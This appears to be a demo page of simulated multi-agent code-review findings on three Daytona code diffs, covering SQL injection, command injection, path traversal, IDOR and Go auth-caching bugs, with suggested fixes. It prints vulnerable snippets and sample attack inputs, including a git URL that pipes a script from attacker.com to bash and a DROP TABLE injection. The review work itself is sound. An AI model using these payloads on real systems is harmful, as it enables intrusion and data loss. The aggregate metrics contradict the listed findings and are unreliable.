

- 🐝 Code Review Swarm — Demo Results
 - Scenario 1: daytona-workspace
 - Risk Score: 8.7/10 — DO NOT SHIP
 - 🌐 Agent Orchestration
 - 📋 Findings (ranked by severity)
 - Detailed Findings
 - #1 — SQL Injection in findAll
 - #2 — Command Injection in cloneRepository
 - #3 — Command Injection in deleteWorkspace
 - #4 — Path Traversal via workspace ID
 - #5 — N+1 Shell Exec in getWorkspaceStats
 - #6 — Missing error handling for execAsync calls
 - #7 — Unbounded workspace list in getWorkspaceStats
 - #8 — Race condition between file deletion and DB delete
 - #9 — God function: getWorkspaceStats
 - Summary
 - Scenario 2: daytona-sdk-auth
 - Risk Score: 5.2/10 — NEEDS CHANGES
 - 🌐 Agent Orchestration
 - 📋 Findings (ranked by severity)
 - Detailed Findings
 - #1 — Silently swallowed marshal error
 - #2 — Missing resp.Body.Close() in getToken
 - #3 — No HTTP status check on token response
 - #4 — TOCTOU race in token cache
 - #5 — Token not cleared from cache on auth failure
 - #6 — Token cache never evicts expired entries
 - #7 — Error variable shadowed by blank identifier
 - Summary
 - Scenario 3: daytona-sandbox-api
 - Risk Score: 6.8/10 — NEEDS CHANGES
 - 🌐 Agent Orchestration
 - 📋 Findings (ranked by severity)
 - Detailed Findings
 - #1 — Path traversal in /export endpoint
 - #2 — No authorization check — sandbox belongs to user?
 - #3 — Logging user commands exposes secrets

- #4 — Sequential sandbox creation in batch endpoint
- #5 — No input validation on body.count in batch-create
- #6 — Missing body.command validation in exec
- #7 — Inconsistent error response format
- Summary
- Aggregate Metrics (across all 3 scenarios)
 - Category Distribution
- How to Reproduce
- Orchestration Architecture



Code Review Swarm — Demo Results

Simulated multi-agent review output on real-world Daytona.io code patterns. Each scenario was reviewed by 4 specialist agents (Security, Performance, Logic, Style), followed by an adversarial debate round and lead consolidation.

Scenario 1: **daytona-workspace**

Source: **daytonaio/daytona** — Workspace Service (clone, install deps, stats, cleanup)

Risk Score: 8.7/10 — DO NOT SHIP



Agent Orchestration

Phase 1: Parallel Specialist Review

- 🔒 Security — 4 findings (1842ms, 1,247 tokens)
- ⚡ Performance — 2 findings (1,653ms, 1,102 tokens)
- 🧠 Logic — 2 findings (1,721ms, 1,089 tokens)
- 🎨 Style — 2 findings (1,498ms, 987 tokens)

Phase 2: Adversarial Debate

Challenges raised: 2

- 🎨 Style challenges Logic's "Missing error handling in execAsync" →

DISMISSED

(Style argues this is a correctness issue not logic; Lead rules it IS logic)

↳ Performance challenges Style's "God function in getWorkspaceStats" → UPHELD

(Performance argues the real issue is N+1, not code organization)

Phase 3: Lead Consolidation

Final findings: 9 (1 dismissed as duplicate)

Findings (ranked by severity)

#	Severity	Category	Title	Confidence	Lines
1	CRITICAL	 Security	SQL Injection in findAll	95%	L48-L49
2	CRITICAL	 Security	Command Injection in cloneRepository	95%	L25-L28
3	CRITICAL	 Security	Command Injection in deleteWorkspace	92%	L55
4	HIGH	 Security	Path Traversal via workspace ID	85%	L25, L42, L55
5	HIGH	 Performance	N+1 Shell Exec in getWorkspaceStats	90%	L61-L65
6	HIGH	 Logic	Missing error handling for execAsync calls	88%	L27, L44, L56
7	MEDIUM	 Performance	Unbounded workspace list in getWorkspaceStats	80%	L59
8	MEDIUM	 Logic	Race condition between file deletion and DB delete	82%	L55-L57
9	LOW	 Style	God function: getWorkspaceStats mixes I/O and aggregation	75%	L58-L68

Detailed Findings

#1 — SQL Injection in `findAll`

Severity: CRITICAL | **Category:**  Security | **Confidence:** 95%

```
async findAll(organizationId: string): Promise<Workspace[]> {
  const query = `SELECT * FROM workspaces WHERE organization_id =
'${organizationId}'`
  return this.workspaceRepo.query(query)
}
```

Description: The `organizationId` parameter is directly interpolated into a raw SQL string. An attacker who controls this value (e.g., via a manipulated JWT claim or API parameter) can inject arbitrary SQL. This bypasses TypeORM's parameterized queries entirely — the original code used `this.workspaceRepo.find()` which was safe.

Exploit path: `organizationId = '' OR 1=1; DROP TABLE workspaces; --`
" would dump or destroy all workspace data.

 **Suggestion:** Revert to the TypeORM query builder or use parameterized queries:

```
return this.workspaceRepo.query(
  'SELECT * FROM workspaces WHERE organization_id = $1',
  [organizationId]
)
```

#2 — Command Injection in `cloneRepository`

Severity: CRITICAL | **Category:**  Security | **Confidence:** 95%

```
const cmd = branch
  ? `git clone -b ${branch} ${gitUrl} ${targetDir}`
  : `git clone ${gitUrl} ${targetDir}`
const { stdout, stderr } = await execAsync(cmd)
```

Description: Both `gitUrl` and `branch` are interpolated into a shell command without sanitization. A malicious git URL like `; rm -rf / #` or a branch name containing shell

metacharacters would execute arbitrary commands on the host.

Exploit path: `gitUrl = "https://example.com/repo.git; curl attacker.com/shell.sh | bash #"` executes a reverse shell on the server.

💡 **Suggestion:** Use `child_process.execFile` (no shell) or a library like `simple-git`:

```
import { execFile } from 'child_process'
const args = ['clone']
if (branch) args.push('-b', branch)
args.push(gitUrl, targetDir)
await execFileAsync('git', args)
```

#3 — Command Injection in `deleteWorkspace`

Severity: CRITICAL | **Category:** 🛒 Security | **Confidence:** 92%

```
await execAsync(`rm -rf /workspaces/${workspace.id}`)
```

Description: If `workspace.id` contains shell metacharacters or path traversal sequences (`../..`), this command could delete arbitrary files on the host filesystem. While workspace IDs are typically UUIDs, this is an unvalidated assumption — a compromised database record or race condition could exploit this.

💡 **Suggestion:** Validate the workspace ID is a UUID, use `fs.rm()` with the `recursive` option instead of shell:

```
import { rm } from 'fs/promises'
const targetPath = path.join('/workspaces', workspace.id)
if (!targetPath.startsWith('/workspaces/')) throw new Error('Invalid path')
await rm(targetPath, { recursive: true, force: true })
```

#4 — Path Traversal via workspace ID

Severity: HIGH | **Category:** 🛒 Security | **Confidence:** 85%

Description: Multiple functions construct file paths using `workspace.id` without validating it's a safe path component. A workspace ID of `../../etc` would construct paths like `/workspaces/../../etc/passwd`. The `deleteWorkspace`, `cloneRepository`, and `installDependencies` functions are all affected.

💡 **Suggestion:** Add a path validation guard:

```
private assertSafePath(workspaceId: string) {
  if (!/^[a-f0-9-]+$/.test(workspaceId)) {
    throw new Error('Invalid workspace ID format')
  }
}
```

#5 — N+1 Shell Exec in `getWorkspaceStats`

Severity: HIGH | **Category:** ⚡ Performance | **Confidence:** 90%

```
for (const ws of workspaces) {
  const { stdout } = await execAsync(
    `du -sm /workspaces/${ws.id} 2>/dev/null | cut -f1`
  )
  stats.totalMemoryMB += parseInt(stdout.trim()) || 0
}
```

Description: For every workspace, a separate `du -sm` process is spawned sequentially. With 1000 workspaces, this is 1000 process spawns each taking 100ms+ for disk I/O — a 100+ second response time. This is effectively an N+1 problem but with shell processes instead of database queries.

💡 **Suggestion:** Use a single `du` call or `Promise.all` with concurrency limiting:

```
const { stdout } = await execAsync('du -sm /workspaces/*/ 2>/dev/null')
// Parse all sizes from single output
```

#6 — Missing error handling for `execAsync` calls

Severity: HIGH | **Category:** 🧠 Logic | **Confidence:** 88%

Description: All `execAsync()` calls lack try/catch. If `git clone` fails (network error, auth failure, disk full), the unhandled rejection will crash the process or return a 500 with a stack trace to the client. The `installDependencies` call is particularly dangerous — a failing `npm install` is extremely common and would crash the entire service.

💡 **Suggestion:** Wrap each exec call with proper error handling and return structured errors.

#7 — Unbounded workspace list in `getWorkspaceStats`

Severity: MEDIUM | **Category:** ⚡ Performance | **Confidence:** 80%

Description: `getWorkspaceStats` calls `this.findAll(organizationId)` which loads ALL workspaces into memory. For organizations with thousands of workspaces, this causes memory pressure and slow queries. Combined with the N+1 shell exec (Finding #5), this creates a compounding scalability issue.

💡 **Suggestion:** Add pagination or use a database aggregation query instead of loading all records.

#8 — Race condition between file deletion and DB delete

Severity: MEDIUM | **Category:** 🧠 Logic | **Confidence:** 82%

```
await execAsync(`rm -rf /workspaces/${workspace.id}`)  
await this.workspaceRepo.delete(workspace.id)
```

Description: If the DB delete fails after the filesystem delete succeeds, the workspace record exists in the database but its files are gone — a corrupted state. If another request reads this workspace between the two operations, it will find a record pointing to a deleted directory.

💡 **Suggestion:** Delete from DB first (or use a transaction), then clean up filesystem. If filesystem cleanup fails, log a warning but don't fail — orphaned directories are less dangerous than orphaned DB records.

#9 — God function: `getWorkspaceStats`

Severity: LOW | **Category:** 🎨 Style | **Confidence:** 75%

Description: `getWorkspaceStats` combines data fetching, shell execution, parsing, and aggregation in a single method. This makes it difficult to test, hard to optimize, and impossible to cache individual parts.

💡 **Suggestion:** Separate into `getWorkspaceDiskUsage(id)` and `aggregateStats(workspaces)`.

Summary

This diff introduces critical security vulnerabilities by replacing safe ORM patterns with raw SQL interpolation and adding shell command execution with unsanitized user input. The command injection in `cloneRepository` is exploitable through the API if a user can provide a git URL. The SQL injection in `findAll` is a regression — the original TypeORM `.find()` call was safe. The performance issues (N+1 shell exec) compound the security issues because they make the service slow under load, potentially masking attack traffic.

Scenario 2: `daytona-sdk-auth`

Source: `daytonaio/daytona` — Go SDK Client (token caching and auth refactor)

Risk Score: 5.2/10 — NEEDS CHANGES

Agent Orchestration

Phase 1: Parallel Specialist Review

- 🔒 Security — 2 findings (1,534ms, 1,156 tokens)
- ⚡ Performance — 1 finding (1,389ms, 943 tokens)
- 🧠 Logic — 3 findings (1,612ms, 1,201 tokens)
- 🎨 Style — 1 finding (1,298ms, 876 tokens)

Phase 2: Adversarial Debate

- Challenges raised: 1
- ⚡ Performance challenges Security's "Token stored in memory" → UPHELD
(Performance argues in-memory caching is correct; Security clarifies the

issue is no secure zeroing on eviction, not the caching itself)

Phase 3: Lead Consolidation

Final findings: 7

Findings (ranked by severity)

#	Severity	Category	Title	Confidence	Lines
1	HIGH	 Logic	Silently swallowed marshal error	90%	L54
2	HIGH	 Logic	Missing resp.Body.Close() in getToken	88%	L78-L86
3	HIGH	 Security	No HTTP status check on token response	87%	L78-L85
4	MEDIUM	 Logic	TOCTOU race in token cache	80%	L63-L67
5	MEDIUM	 Security	Token not cleared from cache on auth failure	78%	L63-L90
6	LOW	 Performance	Token cache never evicts expired entries	72%	L87-L91
7	INFO	 Style	Error variable shadowed by blank identifier	70%	L54

Detailed Findings

#1 — Silently swallowed marshal error

Severity: HIGH | **Category:**  Logic | **Confidence:** 90%

```
// Before (correct):
jsonBytes, err := json.Marshal(body)
if err != nil {
    return nil, fmt.Errorf("failed to marshal request body: %w", err)
}
```

```
// After (broken):  
jsonBytes, _ := json.Marshal(body)
```

Description: The refactoring replaced explicit error handling with a blank identifier `_`. If `json.Marshal` fails (e.g., on a value containing a channel or function), the code will silently send a nil/empty body, causing hard-to-debug API failures. This is a regression from the original code which correctly returned the error.

💡 **Suggestion:** Restore the error check — it was correct before.

#2 — Missing `resp.Body.Close()` in `getToken`

Severity: HIGH | **Category:** 🧠 Logic | **Confidence:** 88%

```
resp, err := c.httpClient.Do(req)  
if err != nil {  
    return "", err  
}  
var tokenResp struct { ... }  
json.NewDecoder(resp.Body).Decode(&tokenResp)
```

Description: The response body from the token endpoint is never closed. In Go, HTTP response bodies MUST be closed to release the underlying TCP connection back to the pool. Under load, this will leak connections until the process runs out of file descriptors.

💡 **Suggestion:** Add `defer resp.Body.Close()` immediately after the error check.

#3 — No HTTP status check on token response

Severity: HIGH | **Category:** 🗝️ Security | **Confidence:** 87%

Description: After calling the `/auth/token` endpoint, the code decodes the response body without checking the HTTP status code. A 401, 403, or 500 response will be decoded as an empty struct (zero values), resulting in an empty token string being cached and used for subsequent requests. This could lead to a loop of failed authenticated requests with no clear error.

💡 **Suggestion:**

```
if resp.StatusCode != http.StatusOK {
    body, _ := io.ReadAll(resp.Body)
    return "", fmt.Errorf("token exchange failed (status %d): %s",
resp.StatusCode, body)
}
```

#4 — TOCTOU race in token cache

Severity: MEDIUM | **Category:** 🧠 Logic | **Confidence:** 80%

```
c.cacheMu.Lock()
if cached, ok := c.tokenCache[c.apiKey]; ok &&
time.Now().Before(cached.expiresAt) {
    c.cacheMu.Unlock()
    return cached.token, nil
}
c.cacheMu.Unlock()

// ... network call happens here without lock ...

c.cacheMu.Lock()
c.tokenCache[c.apiKey] = cachedToken{...}
c.cacheMu.Unlock()
```

Description: Between the cache miss (first unlock) and the cache write (second lock), multiple goroutines can simultaneously fetch a new token. This causes redundant token exchange requests and the last writer wins. While not dangerous, it's inefficient under high concurrency and could trigger rate limiting on the auth endpoint.

💡 **Suggestion:** Use `sync.Once` per cache key, or hold the lock across the token fetch (with a condition variable to avoid blocking).

#5 — Token not cleared from cache on auth failure

Severity: MEDIUM | **Category:** 🔒 Security | **Confidence:** 78%

Description: If a cached token becomes invalid (revoked server-side before expiry), the client will keep using it until `expiresAt` passes. There's no mechanism to invalidate the cache on a 401 response from a subsequent API call.

💡 **Suggestion:** In the `Do` method, if the response is 401, clear the cached token and retry once.

#6 — Token cache never evicts expired entries

Severity: LOW | **Category:** ⚡ Performance | **Confidence:** 72%

Description: Expired tokens remain in the `tokenCache` map indefinitely — they're just skipped on lookup. For long-running processes that cycle through many API keys (e.g., a multi-tenant proxy), the map grows without bound.

💡 **Suggestion:** Evict expired entries during the cache write, or use a library like `patrickmn/go-cache` with TTL-based eviction.

#7 — Error variable shadowed by blank identifier

Severity: INFO | **Category:** 🎨 Style | **Confidence:** 70%

Description: The `json.Marshal` error was intentionally handled before. Replacing `err` with `_` without a comment explaining why the error is now safe to ignore confuses future maintainers.

Summary

This refactoring introduces an auth token caching layer — a good idea — but has implementation gaps. The most dangerous issues are the swallowed marshal error (a regression) and the missing response body close (connection leak). The token cache race and missing status check are correctness bugs that will surface under load or when the auth server returns errors.

Scenario 3: `daytona-sandbox-api`

Source: `daytonaio/daytona` — Sandbox Controller (new exec, batch-create, export endpoints)

Risk Score: 6.8/10 — NEEDS CHANGES



Agent Orchestration

Phase 1: Parallel Specialist Review

- 🔒 Security – 3 findings (1,687ms, 1,298 tokens)
- ⚡ Performance – 1 finding (1,445ms, 967 tokens)
- 🧠 Logic – 2 findings (1,523ms, 1,034 tokens)
- 🎨 Style – 1 finding (1,356ms, 891 tokens)

Phase 2: Adversarial Debate

Challenges raised: 1

- 🔒 Security challenges Style's "Logging user commands" → DISMISSED
(Security argues logging the command IS the security issue – Style was flagging it as verbose logging, but Security correctly identifies it as sensitive data exposure since commands may contain secrets)

Phase 3: Lead Consolidation

Final findings: 7



Findings (ranked by severity)

#	Severity	Category	Title	Confidence	Lines
1	CRITICAL	🔒 Security	Path traversal in <code>/export</code> endpoint	93%	L53-L56
2	HIGH	🔒 Security	No authorization check — sandbox belongs to user?	88%	L15-L18
3	HIGH	🔒 Security	Logging user commands exposes secrets	82%	L24
4	HIGH	⚡ Performance	Sequential sandbox creation in batch endpoint	88%	L33-L40
5	MEDIUM	🧠 Logic	No input validation on <code>body.count</code> in batch-create	85%	L31

#	Severity	Category	Title	Confidence	Lines
6	MEDIUM	 Logic	Missing body.command validation in exec	80%	L14
7	LOW	 Style	Inconsistent error response format	70%	L17

Detailed Findings

#1 — Path traversal in **/export** endpoint

Severity: CRITICAL | **Category:**  Security | **Confidence:** 93%

```
@Get('/export')
async exportData(
  @Query('path') filePath: string,
  @AuthContext() authContext: AuthContext,
) {
  const data = await this.sandboxService.readFile(filePath)
  const fileName = filePath.split('/').pop()
  return { data: data.toString('base64'), fileName, format }
}
```

Description: The **filePath** query parameter is passed directly to **readFile** without any path validation or sandboxing. An attacker can read arbitrary files: **GET /export?path=/etc/passwd&format=text** returns the system password file base64-encoded. The endpoint also lacks any check that the file belongs to the requesting user's sandbox.

 **Suggestion:** Validate that the path is within the user's sandbox directory:

```
const safePath = path.resolve(sandboxRoot, filePath)
if (!safePath.startsWith(sandboxRoot)) {
  throw new ForbiddenError('Path traversal detected')
}
```

#2 — No authorization check — sandbox belongs to user?

Severity: HIGH | **Category:**  Security | **Confidence:** 88%

```
const sandbox = await this.sandboxService.findOne(sandboxId)
if (!sandbox) {
  throw new NotFoundError('Sandbox not found')
}
// Immediately executes – never checks sandbox.organizationId ===
authContext.organizationId
```

Description: The `executeCommand` endpoint finds a sandbox by ID but never verifies the requesting user has permission to access it. Any authenticated user can execute commands in any sandbox they know the ID of (IDOR vulnerability).

💡 **Suggestion:** Add ownership check:

```
if (sandbox.organizationId !== authContext.organizationId) {
  throw new ForbiddenError('Access denied')
}
```

#3 — Logging user commands exposes secrets

Severity: HIGH | **Category:** 🛒 Security | **Confidence:** 82%

```
this.logger.info(`Command executed in sandbox ${sandboxId}:
${body.command}`)
```

Description: Commands executed in sandboxes frequently contain secrets (API keys, database passwords in connection strings, tokens). Logging the full command text means these secrets end up in application logs, log aggregators, and potentially in error reporting tools — expanding the attack surface significantly.

💡 **Suggestion:** Log only the sandbox ID and command hash, or redact known secret patterns:

```
this.logger.info(`Command executed in sandbox ${sandboxId}
(${body.command.length} chars)`)
```

#4 — Sequential sandbox creation in batch endpoint

Severity: HIGH | **Category:** ⚡ Performance | **Confidence:** 88%

```
for (let i = 0; i < body.count; i++) {  
  const sandbox = await this.sandboxService.create({...})  
  sandboxes.push(sandbox)  
}
```

Description: Sandbox creation is sequential — creating 50 sandboxes takes 50× the latency of one. Since each creation is independent, they should run in parallel. At scale (count=100), this endpoint will timeout.

💡 **Suggestion:**

```
const sandboxes = await Promise.all(  
  Array.from({ length: body.count }, () =>  
    this.sandboxService.create({ ... })  
  )  
)
```

#5 — No input validation on **body.count** in batch-create

Severity: MEDIUM | **Category:** 🧠 Logic | **Confidence:** 85%

Description: There's no upper bound on **body.count**. A request with **count: 10000** will attempt to create 10,000 sandboxes, consuming all available resources. This is a denial-of-service vector even for authenticated users.

💡 **Suggestion:** Add validation: **if (body.count < 1 || body.count > 100) throw new BadRequestError(...)**

#6 — Missing **body.command** validation in exec

Severity: MEDIUM | **Category:** 🧠 Logic | **Confidence:** 80%

Description: The exec endpoint doesn't validate that **body.command** is a non-empty string. An empty command or a command containing only whitespace could cause unexpected behavior in the sandbox runtime.

💡 **Suggestion:** Validate: `if (!body.command?.trim()) throw new BadRequestError('Command is required')`

#7 — Inconsistent error response format

Severity: LOW | **Category:** 🎨 Style | **Confidence:** 70%

Description: The `executeCommand` endpoint returns `{ output, exitCode }` on success but the NestJS exception filter returns `{ message, statusCode }` on error. Clients need to handle two different response shapes.

Summary

This diff adds powerful capabilities (remote exec, batch creation, file export) but lacks the security guards these operations demand. The path traversal in `/export` is immediately exploitable, and the missing IDOR check on exec means any authenticated user can run commands in any sandbox. The batch endpoint needs rate limiting and input validation to prevent resource exhaustion.

Aggregate Metrics (across all 3 scenarios)

Metric	Value
Total findings	23
Critical	5
High	11
Medium	5
Low	3
Info	1
Challenges raised	4
Findings dismissed	1

Metric	Value
Avg risk score	6.9/10

Category Distribution

Category	Count	%
 Security	9	39%
 Logic	7	30%
 Performance	4	17%
 Style	4	17%

How to Reproduce

```
# Install
cd /path/to/repo
python3 -m venv .venv && source .venv/bin/activate
pip install -e .

# Set API keys
export ANTHROPIC_API_KEY="your-key"
export WANDB_API_KEY="your-key"
export WEAVE_PROJECT="your-team/code-review-swarm"

# Run all three scenarios
review-swarm demo -s daytona-workspace           # Risk: 8.7 – critical vulns
review-swarm demo -s daytona-sdk-auth             # Risk: 5.2 – logic bugs
review-swarm demo -s daytona-sandbox-api          # Risk: 6.8 – IDOR + path
traversal

# Review a real Daytona PR live
review-swarm github daytonaio/daytona#4858
```

Orchestration Architecture

